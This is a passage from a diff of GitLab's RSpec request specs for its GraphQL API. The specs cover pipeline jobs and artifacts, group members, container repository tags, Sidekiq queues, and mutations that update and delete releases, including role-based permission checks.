+
+ expect(artifact_data['downloadPath']).to eq(
+ "/#{project.full_path}/-/jobs/#{job.id}/artifacts/download?file_type=junit"
+ )
+ expect(artifact_data['fileType']).to eq('JUNIT')
+ end
+end
diff --git a/spec/requests/api/graphql/ci/jobs_spec.rb b/spec/requests/api/graphql/ci/jobs_spec.rb
index 618705e5f94..19954c4e52f 100644
--- a/spec/requests/api/graphql/ci/jobs_spec.rb
+++ b/spec/requests/api/graphql/ci/jobs_spec.rb
@@ -1,41 +1,44 @@
# frozen_string_literal: true
require 'spec_helper'
-RSpec.describe 'Query.project.pipeline.stages.groups.jobs' do
+RSpec.describe 'Query.project.pipeline' do
include GraphqlHelpers
- let(:project) { create(:project, :repository, :public) }
- let(:user) { create(:user) }
- let(:pipeline) do
- pipeline = create(:ci_pipeline, project: project, user: user)
- stage = create(:ci_stage_entity, pipeline: pipeline, name: 'first')
- create(:commit_status, stage_id: stage.id, pipeline: pipeline, name: 'my test job')
-
- pipeline
- end
+ let_it_be(:project) { create(:project, :repository, :public) }
+ let_it_be(:user) { create(:user) }
def first(field)
[field.pluralize, 'nodes', 0]
end
- let(:jobs_graphql_data) { graphql_data.dig(*%w[project pipeline], *first('stage'), *first('group'), 'jobs', 'nodes') }
-
- let(:query) do
- %(
- query {
- project(fullPath: "#{project.full_path}") {
- pipeline(iid: "#{pipeline.iid}") {
- stages {
- nodes {
- name
- groups {
- nodes {
- name
- jobs {
- nodes {
- name
- pipeline {
- id
+ describe '.stages.groups.jobs' do
+ let(:pipeline) do
+ pipeline = create(:ci_pipeline, project: project, user: user)
+ stage = create(:ci_stage_entity, pipeline: pipeline, name: 'first')
+ create(:commit_status, stage_id: stage.id, pipeline: pipeline, name: 'my test job')
+
+ pipeline
+ end
+
+ let(:jobs_graphql_data) { graphql_data.dig(*%w[project pipeline], *first('stage'), *first('group'), 'jobs', 'nodes') }
+
+ let(:query) do
+ %(
+ query {
+ project(fullPath: "#{project.full_path}") {
+ pipeline(iid: "#{pipeline.iid}") {
+ stages {
+ nodes {
+ name
+ groups {
+ nodes {
+ name
+ jobs {
+ nodes {
+ name
+ pipeline {
+ id
+ }
}
}
}
@@ -45,17 +48,15 @@ RSpec.describe 'Query.project.pipeline.stages.groups.jobs' do
}
}
}
- }
- )
- end
+ )
+ end
- it 'returns the jobs of a pipeline stage' do
- post_graphql(query, current_user: user)
+ it 'returns the jobs of a pipeline stage' do
+ post_graphql(query, current_user: user)
- expect(jobs_graphql_data).to contain_exactly(a_hash_including('name' => 'my test job'))
- end
+ expect(jobs_graphql_data).to contain_exactly(a_hash_including('name' => 'my test job'))
+ end
- context 'when fetching jobs from the pipeline' do
it 'avoids N+1 queries', :aggregate_failures do
control_count = ActiveRecord::QueryRecorder.new do
post_graphql(query, current_user: user)
@@ -112,4 +113,50 @@ RSpec.describe 'Query.project.pipeline.stages.groups.jobs' do
])
end
end
+
+ describe '.jobs.artifacts' do
+ let_it_be(:pipeline) { create(:ci_pipeline, project: project) }
+
+ let(:query) do
+ %(
+ query {
+ project(fullPath: "#{project.full_path}") {
+ pipeline(iid: "#{pipeline.iid}") {
+ jobs {
+ nodes {
+ artifacts {
+ nodes {
+ downloadPath
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ )
+ end
+
+ context 'when the job is a build' do
+ it "returns the build's artifacts" do
+ create(:ci_build, :artifacts, pipeline: pipeline)
+
+ post_graphql(query, current_user: user)
+
+ job_data = graphql_data.dig('project', 'pipeline', 'jobs', 'nodes').first
+ expect(job_data.dig('artifacts', 'nodes').count).to be(2)
+ end
+ end
+
+ context 'when the job is not a build' do
+ it 'returns nil' do
+ create(:ci_bridge, pipeline: pipeline)
+
+ post_graphql(query, current_user: user)
+
+ job_data = graphql_data.dig('project', 'pipeline', 'jobs', 'nodes').first
+ expect(job_data['artifacts']).to be_nil
+ end
+ end
+ end
end
diff --git a/spec/requests/api/graphql/group/container_repositories_spec.rb b/spec/requests/api/graphql/group/container_repositories_spec.rb
index bcf689a5e8f..4aa775eba0f 100644
--- a/spec/requests/api/graphql/group/container_repositories_spec.rb
+++ b/spec/requests/api/graphql/group/container_repositories_spec.rb
@@ -14,7 +14,7 @@ RSpec.describe 'getting container repositories in a group' do
let_it_be(:container_repositories) { [container_repository, container_repositories_delete_scheduled, container_repositories_delete_failed].flatten }
let_it_be(:container_expiration_policy) { project.container_expiration_policy }
- let(:fields) do
+ let(:container_repositories_fields) do
<<~GQL
edges {
node {
@@ -24,17 +24,25 @@ RSpec.describe 'getting container repositories in a group' do
GQL
end
+ let(:fields) do
+ <<~GQL
+ #{query_graphql_field('container_repositories', {}, container_repositories_fields)}
+ containerRepositoriesCount
+ GQL
+ end
+
let(:query) do
graphql_query_for(
'group',
{ 'fullPath' => group.full_path },
- query_graphql_field('container_repositories', {}, fields)
+ fields
)
end
let(:user) { owner }
let(:variables) { {} }
let(:container_repositories_response) { graphql_data.dig('group', 'containerRepositories', 'edges') }
+ let(:container_repositories_count_response) { graphql_data.dig('group', 'containerRepositoriesCount') }
before do
group.add_owner(owner)
@@ -101,7 +109,7 @@ RSpec.describe 'getting container repositories in a group' do
<<~GQL
query($path: ID!, $n: Int) {
group(fullPath: $path) {
- containerRepositories(first: $n) { #{fields} }
+ containerRepositories(first: $n) { #{container_repositories_fields} }
}
}
GQL
@@ -122,7 +130,7 @@ RSpec.describe 'getting container repositories in a group' do
<<~GQL
query($path: ID!, $name: String) {
group(fullPath: $path) {
- containerRepositories(name: $name) { #{fields} }
+ containerRepositories(name: $name) { #{container_repositories_fields} }
}
}
GQL
@@ -143,4 +151,10 @@ RSpec.describe 'getting container repositories in a group' do
expect(container_repositories_response.first.dig('node', 'id')).to eq(container_repository.to_global_id.to_s)
end
end
+
+ it 'returns the total count of container repositories' do
+ subject
+
+ expect(container_repositories_count_response).to eq(container_repositories.size)
+ end
end
diff --git a/spec/requests/api/graphql/group/group_members_spec.rb b/spec/requests/api/graphql/group/group_members_spec.rb
index 84b2fd63d46..3554e22cdf2 100644
--- a/spec/requests/api/graphql/group/group_members_spec.rb
+++ b/spec/requests/api/graphql/group/group_members_spec.rb
@@ -5,44 +5,95 @@ require 'spec_helper'
RSpec.describe 'getting group members information' do
include GraphqlHelpers
- let_it_be(:group) { create(:group, :public) }
+ let_it_be(:parent_group) { create(:group, :public) }
let_it_be(:user) { create(:user) }
let_it_be(:user_1) { create(:user, username: 'user') }
let_it_be(:user_2) { create(:user, username: 'test') }
let(:member_data) { graphql_data['group']['groupMembers']['edges'] }
- before do
- [user_1, user_2].each { |user| group.add_guest(user) }
+ before_all do
+ [user_1, user_2].each { |user| parent_group.add_guest(user) }
end
context 'when the request is correct' do
it_behaves_like 'a working graphql query' do
- before do
- fetch_members(user)
+ before_all do
+ fetch_members
end
end
it 'returns group members successfully' do
- fetch_members(user)
+ fetch_members
expect(graphql_errors).to be_nil
- expect_array_response(user_1.to_global_id.to_s, user_2.to_global_id.to_s)
+ expect_array_response(user_1, user_2)
end
it 'returns members that match the search query' do
- fetch_members(user, { search: 'test' })
+ fetch_members(args: { search: 'test' })
expect(graphql_errors).to be_nil
- expect_array_response(user_2.to_global_id.to_s)
+ expect_array_response(user_2)
end
end
- def fetch_members(user = nil, args = {})
- post_graphql(members_query(args), current_user: user)
+ context 'member relations' do
+ let_it_be(:child_group) { create(:group, :public, parent: parent_group) }
+ let_it_be(:grandchild_group) { create(:group, :public, parent: child_group) }
+ let_it_be(:child_user) { create(:user) }
+ let_it_be(:grandchild_user) { create(:user) }
+
+ before_all do
+ child_group.add_guest(child_user)
+ grandchild_group.add_guest(grandchild_user)
+ end
+
+ it 'returns direct members' do
+ fetch_members(group: child_group, args: { relations: [:DIRECT] })
+
+ expect(graphql_errors).to be_nil
+ expect_array_response(child_user)
+ end
+
+ it 'returns direct and inherited members' do
+ fetch_members(group: child_group, args: { relations: [:DIRECT, :INHERITED] })
+
+ expect(graphql_errors).to be_nil
+ expect_array_response(child_user, user_1, user_2)
+ end
+
+ it 'returns direct, inherited, and descendant members' do
+ fetch_members(group: child_group, args: { relations: [:DIRECT, :INHERITED, :DESCENDANTS] })
+
+ expect(graphql_errors).to be_nil
+ expect_array_response(child_user, user_1, user_2, grandchild_user)
+ end
+
+ it 'returns an error for an invalid member relation' do
+ fetch_members(group: child_group, args: { relations: [:OBLIQUE] })
+
+ expect(graphql_errors.first)
+ .to include('path' => %w[query group groupMembers relations],
+ 'message' => a_string_including('invalid value ([OBLIQUE])'))
+ end
+ end
+
+ context 'when unauthenticated' do
+ it 'returns nothing' do
+ fetch_members(current_user: nil)
+
+ expect(graphql_errors).to be_nil
+ expect(response).to have_gitlab_http_status(:success)
+ expect(member_data).to be_empty
+ end
+ end
+
+ def fetch_members(group: parent_group, current_user: user, args: {})
+ post_graphql(members_query(group.full_path, args), current_user: current_user)
end
- def members_query(args = {})
+ def members_query(group_path, args = {})
members_node = <<~NODE
edges {
node {
@@ -54,7 +105,7 @@ RSpec.describe 'getting group members information' do
NODE
graphql_query_for("group",
- { full_path: group.full_path },
+ { full_path: group_path },
[query_graphql_field("groupMembers", args, members_node)]
)
end
@@ -62,6 +113,7 @@ RSpec.describe 'getting group members information' do
def expect_array_response(*items)
expect(response).to have_gitlab_http_status(:success)
expect(member_data).to be_an Array
- expect(member_data.map { |node| node["node"]["user"]["id"] }).to match_array(items)
+ expect(member_data.map { |node| node["node"]["user"]["id"] })
+ .to match_array(items.map { |u| global_id_of(u) })
end
end
diff --git a/spec/requests/api/graphql/group_query_spec.rb b/spec/requests/api/graphql/group_query_spec.rb
index 83180c7d7a5..391bae4cfcf 100644
--- a/spec/requests/api/graphql/group_query_spec.rb
+++ b/spec/requests/api/graphql/group_query_spec.rb
@@ -4,7 +4,7 @@ require 'spec_helper'
# Based on spec/requests/api/groups_spec.rb
# Should follow closely in order to ensure all situations are covered
-RSpec.describe 'getting group information', :do_not_mock_admin_mode do
+RSpec.describe 'getting group information' do
include GraphqlHelpers
include UploadHelpers
diff --git a/spec/requests/api/graphql/issue/issue_spec.rb b/spec/requests/api/graphql/issue/issue_spec.rb
index d7fa680d29b..42c8e0cc9c0 100644
--- a/spec/requests/api/graphql/issue/issue_spec.rb
+++ b/spec/requests/api/graphql/issue/issue_spec.rb
@@ -125,7 +125,7 @@ RSpec.describe 'Query.issue(id)' do
let(:issue_params) { { 'id' => confidential_issue.to_global_id.to_s } }
context 'when the user cannot see confidential issues' do
- it 'returns nil ' do
+ it 'returns nil' do
post_graphql(query, current_user: current_user)
expect(issue_data).to be nil
diff --git a/spec/requests/api/graphql/mutations/admin/sidekiq_queues/delete_jobs_spec.rb b/spec/requests/api/graphql/mutations/admin/sidekiq_queues/delete_jobs_spec.rb
index 4ad35e7f0d1..b8cde32877b 100644
--- a/spec/requests/api/graphql/mutations/admin/sidekiq_queues/delete_jobs_spec.rb
+++ b/spec/requests/api/graphql/mutations/admin/sidekiq_queues/delete_jobs_spec.rb
@@ -6,8 +6,9 @@ RSpec.describe 'Deleting Sidekiq jobs', :clean_gitlab_redis_queues do
include GraphqlHelpers
let_it_be(:admin) { create(:admin) }
+ let(:queue) { 'authorized_projects' }
- let(:variables) { { user: admin.username, queue_name: 'authorized_projects' } }
+ let(:variables) { { user: admin.username, queue_name: queue } }
let(:mutation) { graphql_mutation(:admin_sidekiq_queues_delete_jobs, variables) }
def mutation_response
@@ -26,18 +27,19 @@ RSpec.describe 'Deleting Sidekiq jobs', :clean_gitlab_redis_queues do
context 'valid request' do
around do |example|
- Sidekiq::Queue.new('authorized_projects').clear
+ Sidekiq::Queue.new(queue).clear
Sidekiq::Testing.disable!(&example)
- Sidekiq::Queue.new('authorized_projects').clear
+ Sidekiq::Queue.new(queue).clear
end
def add_job(user, args)
Sidekiq::Client.push(
'class' => 'AuthorizedProjectsWorker',
- 'queue' => 'authorized_projects',
+ 'queue' => queue,
'args' => args,
'meta.user' => user.username
)
+ raise 'Not enqueued!' if Sidekiq::Queue.new(queue).size.zero?
end
it 'returns info about the deleted jobs' do
@@ -55,7 +57,7 @@ RSpec.describe 'Deleting Sidekiq jobs', :clean_gitlab_redis_queues do
end
context 'when no required params are provided' do
- let(:variables) { { queue_name: 'authorized_projects' } }
+ let(:variables) { { queue_name: queue } }
it_behaves_like 'a mutation that returns errors in the response',
errors: ['No metadata provided']
diff --git a/spec/requests/api/graphql/mutations/award_emojis/add_spec.rb b/spec/requests/api/graphql/mutations/award_emojis/add_spec.rb
index 3aaebb5095a..b39062f2e71 100644
--- a/spec/requests/api/graphql/mutations/award_emojis/add_spec.rb
+++ b/spec/requests/api/graphql/mutations/award_emojis/add_spec.rb
@@ -56,10 +56,10 @@ RSpec.describe 'Adding an AwardEmoji' do
it_behaves_like 'a mutation that does not create an AwardEmoji'
it_behaves_like 'a mutation that returns top-level errors',
- errors: ['Cannot award emoji to this resource']
+ errors: ['You cannot award emoji to this resource.']
end
- context 'when the given awardable an Awardable' do
+ context 'when the given awardable is an Awardable' do
it 'creates an emoji' do
expect do
post_graphql_mutation(mutation, current_user: current_user)
diff --git a/spec/requests/api/graphql/mutations/award_emojis/toggle_spec.rb b/spec/requests/api/graphql/mutations/award_emojis/toggle_spec.rb
index 6910ad80a11..170e7ff3b44 100644
--- a/spec/requests/api/graphql/mutations/award_emojis/toggle_spec.rb
+++ b/spec/requests/api/graphql/mutations/award_emojis/toggle_spec.rb
@@ -55,7 +55,7 @@ RSpec.describe 'Toggling an AwardEmoji' do
it_behaves_like 'a mutation that does not create or destroy an AwardEmoji'
it_behaves_like 'a mutation that returns top-level errors',
- errors: ['Cannot award emoji to this resource']
+ errors: ['You cannot award emoji to this resource.']
end
context 'when the given awardable is an Awardable' do
diff --git a/spec/requests/api/graphql/mutations/container_repository/destroy_spec.rb b/spec/requests/api/graphql/mutations/container_repository/destroy_spec.rb
index 645edfc2e43..c4121cfed42 100644
--- a/spec/requests/api/graphql/mutations/container_repository/destroy_spec.rb
+++ b/spec/requests/api/graphql/mutations/container_repository/destroy_spec.rb
@@ -22,7 +22,7 @@ RSpec.describe 'Destroying a container repository' do
GQL
end
- let(:params) { { id: container_repository.to_global_id.to_s } }
+ let(:params) { { id: id } }
let(:mutation) { graphql_mutation(:destroy_container_repository, params, query) }
let(:mutation_response) { graphql_mutation_response(:destroyContainerRepository) }
let(:container_repository_mutation_response) { mutation_response['containerRepository'] }
diff --git a/spec/requests/api/graphql/mutations/container_repository/destroy_tags_spec.rb b/spec/requests/api/graphql/mutations/container_repository/destroy_tags_spec.rb
new file mode 100644
index 00000000000..decb2e7bccc
--- /dev/null
+++ b/spec/requests/api/graphql/mutations/container_repository/destroy_tags_spec.rb
@@ -0,0 +1,120 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Destroying a container repository tags' do
+ include_context 'container repository delete tags service shared context'
+ using RSpec::Parameterized::TableSyntax
+
+ include GraphqlHelpers
+
+ let(:id) { repository.to_global_id.to_s }
+ let(:tags) { %w[A C D E] }
+
+ let(:query) do
+ <<~GQL
+ deletedTagNames
+ errors
+ GQL
+ end
+
+ let(:params) { { id: id, tag_names: tags } }
+ let(:mutation) { graphql_mutation(:destroy_container_repository_tags, params, query) }
+ let(:mutation_response) { graphql_mutation_response(:destroyContainerRepositoryTags) }
+ let(:tag_names_response) { mutation_response['deletedTagNames'] }
+ let(:errors_response) { mutation_response['errors'] }
+
+ shared_examples 'destroying the container repository tags' do
+ before do
+ stub_delete_reference_requests(tags)
+ expect_delete_tag_by_names(tags)
+ allow_next_instance_of(ContainerRegistry::Client) do |client|
+ allow(client).to receive(:supports_tag_delete?).and_return(true)
+ end
+ end
+
+ it 'destroys the container repository tags' do
+ expect(Projects::ContainerRepository::DeleteTagsService)
+ .to receive(:new).and_call_original
+ expect { subject }.to change { ::Packages::Event.count }.by(1)
+
+ expect(tag_names_response).to eq(tags)
+ expect(errors_response).to eq([])
+ end
+
+ it_behaves_like 'returning response status', :success
+ end
+
+ shared_examples 'denying the mutation request' do
+ it 'does not destroy the container repository tags' do
+ expect(Projects::ContainerRepository::DeleteTagsService)
+ .not_to receive(:new)
+
+ expect { subject }.not_to change { ::Packages::Event.count }
+
+ expect(mutation_response).to be_nil
+ end
+
+ it_behaves_like 'returning response status', :success
+ end
+
+ describe 'post graphql mutation' do
+ subject { post_graphql_mutation(mutation, current_user: user) }
+
+ context 'with valid id' do
+ where(:user_role, :shared_examples_name) do
+ :maintainer | 'destroying the container repository tags'
+ :developer | 'destroying the container repository tags'
+ :reporter | 'denying the mutation request'
+ :guest | 'denying the mutation request'
+ :anonymous | 'denying the mutation request'
+ end
+
+ with_them do
+ before do
+ project.send("add_#{user_role}", user) unless user_role == :anonymous
+ end
+
+ it_behaves_like params[:shared_examples_name]
+ end
+ end
+
+ context 'with invalid id' do
+ let(:id) { 'gid://gitlab/ContainerRepository/5555' }
+
+ it_behaves_like 'denying the mutation request'
+ end
+
+ context 'with too many tags' do
+ let(:tags) { Array.new(Mutations::ContainerRepositories::DestroyTags::LIMIT + 1, 'x') }
+
+ it 'returns too many tags error' do
+ expect { subject }.not_to change { ::Packages::Event.count }
+
+ explanation = graphql_errors.dig(0, 'extensions', 'problems', 0, 'explanation')
+ expect(explanation).to eq(Mutations::ContainerRepositories::DestroyTags::TOO_MANY_TAGS_ERROR_MESSAGE)
+ end
+ end
+
+ context 'with service error' do
+ before do
+ project.add_maintainer(user)
+ allow_next_instance_of(Projects::ContainerRepository::DeleteTagsService) do |service|
+ allow(service).to receive(:execute).and_return(message: 'could not delete tags', status: :error)
+ end
+ end
+
+ it 'returns an error' do
+ subject
+
+ expect(tag_names_response).to eq([])
+ expect(errors_response).to eq(['could not delete tags'])
+ end
+
+ it 'does not create a package event' do
+ expect(::Packages::CreateEventService).not_to receive(:new)
+ expect { subject }.not_to change { ::Packages::Event.count }
+ end
+ end
+ end
+end
diff --git a/spec/requests/api/graphql/mutations/environments/canary_ingress/update_spec.rb b/spec/requests/api/graphql/mutations/environments/canary_ingress/update_spec.rb
new file mode 100644
index 00000000000..f25a49291a6
--- /dev/null
+++ b/spec/requests/api/graphql/mutations/environments/canary_ingress/update_spec.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Update Environment Canary Ingress', :clean_gitlab_redis_cache do
+ include GraphqlHelpers
+ include KubernetesHelpers
+
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:cluster) { create(:cluster, :project, projects: [project]) }
+ let_it_be(:service) { create(:cluster_platform_kubernetes, :configured, cluster: cluster) }
+ let_it_be(:environment) { create(:environment, project: project) }
+ let_it_be(:deployment) { create(:deployment, :success, environment: environment, project: project) }
+ let_it_be(:maintainer) { create(:user) }
+ let_it_be(:developer) { create(:user) }
+ let(:environment_id) { environment.to_global_id.to_s }
+ let(:weight) { 25 }
+ let(:actor) { developer }
+
+ let(:mutation) do
+ graphql_mutation(:environments_canary_ingress_update, id: environment_id, weight: weight)
+ end
+
+ before_all do
+ project.add_maintainer(maintainer)
+ project.add_developer(developer)
+ end
+
+ before do
+ stub_kubeclient_ingresses(environment.deployment_namespace, response: kube_ingresses_response(with_canary: true))
+ end
+
+ context 'when kubernetes accepted the patch request' do
+ before do
+ stub_kubeclient_ingresses(environment.deployment_namespace, method: :patch, resource_path: "/production-auto-deploy")
+ end
+
+ it 'updates successfully' do
+ post_graphql_mutation(mutation, current_user: actor)
+
+ expect(graphql_mutation_response(:environments_canary_ingress_update)['errors'])
+ .to be_empty
+ end
+ end
+end
diff --git a/spec/requests/api/graphql/mutations/releases/delete_spec.rb b/spec/requests/api/graphql/mutations/releases/delete_spec.rb
new file mode 100644
index 00000000000..3710f118bf4
--- /dev/null
+++ b/spec/requests/api/graphql/mutations/releases/delete_spec.rb
@@ -0,0 +1,132 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Deleting a release' do
+ include GraphqlHelpers
+ include Presentable
+
+ let_it_be(:public_user) { create(:user) }
+ let_it_be(:guest) { create(:user) }
+ let_it_be(:reporter) { create(:user) }
+ let_it_be(:developer) { create(:user) }
+ let_it_be(:maintainer) { create(:user) }
+ let_it_be(:project) { create(:project, :public, :repository) }
+ let_it_be(:tag_name) { 'v1.1.0' }
+ let_it_be(:release) { create(:release, project: project, tag: tag_name) }
+
+ let(:mutation_name) { :release_delete }
+
+ let(:project_path) { project.full_path }
+ let(:mutation_arguments) do
+ {
+ projectPath: project_path,
+ tagName: tag_name
+ }
+ end
+
+ let(:mutation) do
+ graphql_mutation(mutation_name, mutation_arguments, <<~FIELDS)
+ release {
+ tagName
+ }
+ errors
+ FIELDS
+ end
+
+ let(:delete_release) { post_graphql_mutation(mutation, current_user: current_user) }
+ let(:mutation_response) { graphql_mutation_response(mutation_name)&.with_indifferent_access }
+
+ before do
+ project.add_guest(guest)
+ project.add_reporter(reporter)
+ project.add_developer(developer)
+ project.add_maintainer(maintainer)
+ end
+
+ shared_examples 'unauthorized or not found error' do
+ it 'returns a top-level error with message' do
+ delete_release
+
+ expect(mutation_response).to be_nil
+ expect(graphql_errors.count).to eq(1)
+ expect(graphql_errors.first['message']).to eq("The resource that you are attempting to access does not exist or you don't have permission to perform this action")
+ end
+ end
+
+ context 'when the current user has access to update releases' do
+ let(:current_user) { maintainer }
+
+ it 'deletes the release' do
+ expect { delete_release }.to change { Release.count }.by(-1)
+ end
+
+ it 'returns the deleted release' do
+ delete_release
+
+ expected_release = { tagName: tag_name }.with_indifferent_access
+
+ expect(mutation_response[:release]).to eq(expected_release)
+ end
+
+ it 'does not remove the Git tag associated with the deleted release' do
+ expect { delete_release }.not_to change { Project.find_by_id(project.id).repository.tag_count }
+ end
+
+ it 'returns no errors' do
+ delete_release
+
+ expect(mutation_response[:errors]).to eq([])
+ end
+
+ context 'validation' do
+ context 'when the release does not exist' do
+ let_it_be(:tag_name) { 'not-a-real-release' }
+
+ it 'returns the release as null' do
+ delete_release
+
+ expect(mutation_response[:release]).to be_nil
+ end
+
+ it 'returns an errors-at-data message' do
+ delete_release
+
+ expect(mutation_response[:errors]).to eq(['Release does not exist'])
+ end
+ end
+
+ context 'when the project does not exist' do
+ let(:project_path) { 'not/a/real/path' }
+
+ it_behaves_like 'unauthorized or not found error'
+ end
+ end
+ end
+
+ context "when the current user doesn't have access to update releases" do
+ context 'when the current user is a Developer' do
+ let(:current_user) { developer }
+
+ it_behaves_like 'unauthorized or not found error'
+ end
+
+ context 'when the current user is a Reporter' do
+ let(:current_user) { reporter }
+
+ it_behaves_like 'unauthorized or not found error'
+ end
+
+ context 'when the current user is a Guest' do
+ let(:current_user) { guest }
+
+ it_behaves_like 'unauthorized or not found error'
+ end
+
+ context 'when the current user is a public user' do
+ let(:current_user) { public_user }
+
+ it_behaves_like 'unauthorized or not found error'
+ end
+ end
+end
diff --git a/spec/requests/api/graphql/mutations/releases/update_spec.rb b/spec/requests/api/graphql/mutations/releases/update_spec.rb
new file mode 100644
index 00000000000..19320c3393c
--- /dev/null
+++ b/spec/requests/api/graphql/mutations/releases/update_spec.rb
@@ -0,0 +1,255 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Updating an existing release' do
+ include GraphqlHelpers
+ include Presentable
+
+ let_it_be(:public_user) { create(:user) }
+ let_it_be(:guest) { create(:user) }
+ let_it_be(:reporter) { create(:user) }
+ let_it_be(:developer) { create(:user) }
+ let_it_be(:project) { create(:project, :public, :repository) }
+ let_it_be(:milestone_12_3) { create(:milestone, project: project, title: '12.3') }
+ let_it_be(:milestone_12_4) { create(:milestone, project: project, title: '12.4') }
+
+ let_it_be(:tag_name) { 'v1.1.0' }
+ let_it_be(:name) { 'Version 7.12.5'}
+ let_it_be(:description) { 'Release 7.12.5 :rocket:' }
+ let_it_be(:released_at) { '2018-12-10' }
+ let_it_be(:created_at) { '2018-11-05' }
+ let_it_be(:milestones) { [milestone_12_3, milestone_12_4] }
+
+ let_it_be(:release) do
+ create(:release, project: project, tag: tag_name, name: name,
+ description: description, released_at: Time.parse(released_at).utc,
+ created_at: Time.parse(created_at).utc, milestones: milestones)
+ end
+
+ let(:mutation_name) { :release_update }
+
+ let(:mutation_arguments) do
+ {
+ projectPath: project.full_path,
+ tagName: tag_name
+ }
+ end
+
+ let(:mutation) do
+ graphql_mutation(mutation_name, mutation_arguments, <<~FIELDS)
+ release {
+ tagName
+ name
+ description
+ releasedAt
+ createdAt
+ milestones {
+ nodes {
+ title
+ }
+ }
+ }
+ errors
+ FIELDS
+ end
+
+ let(:update_release) { post_graphql_mutation(mutation, current_user: current_user) }
+ let(:mutation_response) { graphql_mutation_response(mutation_name)&.with_indifferent_access }
+
+ let(:expected_attributes) do
+ {
+ tagName: tag_name,
+ name: name,
+ description: description,
+ releasedAt: Time.parse(released_at).utc.iso8601,
+ createdAt: Time.parse(created_at).utc.iso8601,
+ milestones: {
+ nodes: milestones.map { |m| { title: m.title } }
+ }
+ }.with_indifferent_access
+ end
+
+ around do |example|
+ freeze_time { example.run }
+ end
+
+ before do
+ project.add_guest(guest)
+ project.add_reporter(reporter)
+ project.add_developer(developer)
+
+ stub_default_url_options(host: 'www.example.com')
+ end
+
+ shared_examples 'no errors' do
+ it 'returns no errors' do
+ update_release
+
+ expect(graphql_errors).not_to be_present
+ end
+ end
+
+ shared_examples 'top-level error with message' do |error_message|
+ it 'returns a top-level error with message' do
+ update_release
+
+ expect(mutation_response).to be_nil
+ expect(graphql_errors.count).to eq(1)
+ expect(graphql_errors.first['message']).to eq(error_message)
+ end
+ end
+
+ shared_examples 'errors-as-data with message' do |error_message|
+ it 'returns an error-as-data with message' do
+ update_release
+
+ expect(mutation_response[:release]).to be_nil
+ expect(mutation_response[:errors].count).to eq(1)
+ expect(mutation_response[:errors].first).to match(error_message)
+ end
+ end
+
+ shared_examples 'updates release fields' do |updates|
+ it_behaves_like 'no errors'
+
+ it 'updates the correct field and returns the release' do
+ update_release
+
+ expect(mutation_response[:release]).to include(expected_attributes.merge(updates).except(:milestones))
+
+ # Right now the milestones are returned in a non-deterministic order.
+ # Because of this, we need to test milestones separately to allow
+ # for them to be returned in any order.
+ # Once https://gitlab.com/gitlab-org/gitlab/-/issues/259012 has been
+ # fixed, this special milestone handling can be removed.
+ expected_milestones = expected_attributes.merge(updates)[:milestones]
+ expect(mutation_response[:release][:milestones][:nodes]).to match_array(expected_milestones[:nodes])
+ end
+ end
+
+ context 'when the current user has access to update releases' do
+ let(:current_user) { developer }
+
+ context 'name' do
+ context 'when a new name is provided' do
+ let(:mutation_arguments) { super().merge(name: 'Updated name') }
+
+ it_behaves_like 'updates release fields', name: 'Updated name'
+ end
+
+ context 'when null is provided' do
+ let(:mutation_arguments) { super().merge(name: nil) }
+
+ it_behaves_like 'updates release fields', name: 'v1.1.0'
+ end
+ end
+
+ context 'description' do
+ context 'when a new description is provided' do
+ let(:mutation_arguments) { super().merge(description: 'Updated description') }
+
+ it_behaves_like 'updates release fields', description: 'Updated description'
+ end
+
+ context 'when null is provided' do
+ let(:mutation_arguments) { super().merge(description: nil) }
+
+ it_behaves_like 'updates release fields', description: nil
+ end
+ end
+
+ context 'releasedAt' do
+ context 'when no time zone is provided' do
+ let(:mutation_arguments) { super().merge(releasedAt: '2015-05-05') }
+
+ it_behaves_like 'updates release fields', releasedAt: Time.parse('2015-05-05').utc.iso8601
+ end
+
+ context 'when a local time zone is provided' do
+ let(:mutation_arguments) { super().merge(releasedAt: Time.parse('2015-05-05').in_time_zone('Hawaii').iso8601) }
+
+ it_behaves_like 'updates release fields', releasedAt: Time.parse('2015-05-05').utc.iso8601
+ end
+
+ context 'when null is provided' do
+ let(:mutation_arguments) { super().merge(releasedAt: nil) }
+
+ it_behaves_like 'top-level error with message', 'if the releasedAt argument is provided, it cannot be null'
+ end
+ end
+
+ context 'milestones' do
+ context 'when a new set of milestones is provided provided' do
+ let(:mutation_arguments) { super().merge(milestones: ['12.3']) }
+
+ it_behaves_like 'updates release fields', milestones: { nodes: [{ title: '12.3' }] }
+ end
+
+ context 'when an empty array is provided' do
+ let(:mutation_arguments) { super().merge(milestones: []) }
+
+ it_behaves_like 'updates release fields', milestones: { nodes: [] }
+ end
+
+ context 'when null is provided' do
+ let(:mutation_arguments) { super().merge(milestones: nil) }
+
+ it_behaves_like 'top-level error with message', 'if the milestones argument is provided, it cannot be null'
+ end
+
+ context 'when a non-existent milestone title is provided' do
+ let(:mutation_arguments) { super().merge(milestones: ['not real']) }
+
+ it_behaves_like 'errors-as-data with message', 'Milestone(s) not found: not real'
+ end
+
+ context 'when a milestone title from a different project is provided' do
+ let(:milestone_in_different_project) { create(:milestone, title: 'milestone in different project') }
+ let(:mutation_arguments) { super().merge(milestones: [milestone_in_different_project.title]) }
+
+ it_behaves_like 'errors-as-data with message', 'Milestone(s) not found: milestone in different project'
+ end
+ end
+
+ context 'validation' do
+ context 'when no updated fields are provided' do
+ it_behaves_like 'errors-as-data with message', 'params is empty'
+ end
+
+ context 'when the tag does not exist' do
+ let(:mutation_arguments) { super().merge(tagName: 'not-a-real-tag') }
+
+ it_behaves_like 'errors-as-data with message', 'Tag does not exist'
+ end
+
+ context 'when the project does not exist' do
+ let(:mutation_arguments) { super().merge(projectPath: 'not/a/real/path') }
+
+ it_behaves_like 'top-level error with message', "The resource that you are attempting to access does not exist or you don't have permission to perform this action"
+ end
+ end
+ end
+
+ context "when the current user doesn't have access to update releases" do
+ expected_error_message = "The resource that you are attempting to access does not exist or you don't have permission to perform this action"
+
+ context 'when the current user is a Reporter' do
+ let(:current_user) { reporter }
+
+ it_behaves_like 'top-level error with message', expected_error_message
+ end
+
+ context 'when the current user is a Guest' do
+ let(:current_user) { guest }
+
